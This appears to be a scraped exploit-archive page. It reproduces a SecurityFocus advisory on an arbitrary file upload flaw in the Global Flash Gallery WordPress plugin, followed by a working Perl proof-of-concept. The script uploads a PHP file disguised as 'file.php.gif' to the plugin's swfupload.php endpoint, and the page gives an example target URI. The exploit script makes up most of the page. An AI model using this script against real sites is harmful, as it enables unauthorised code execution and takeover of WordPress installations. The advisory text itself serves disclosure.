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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/65060/info

The Global Flash Gallery plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because it fails to properly validate file extensions before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

#! /usr/bin/perl
  use LWP;
  use HTTP::Request::Common;
  
  my ($url, $file) = @ARGV;
  
  my $ua = LWP::UserAgent->new();
  my $req = POST $url,
    Content_Type => 'form-data',
    Content =>    [
  name => $name,
  galleryselect => 1, # Gallery ID (popup.php)
  Filedata => [ "$file", "file.php.gif",  Content_Type =>
  'image/gif' ]
            ];
  my $res = $ua->request( $req );
  if( $res->is_success ) {
    print $res->content;
  } else {
    print $res->status_line, "\n";
  }

--------------------
Example URI:
--------------------
http://www.example.com/wp-content/plugins/global-flash-galleries/swfupload.php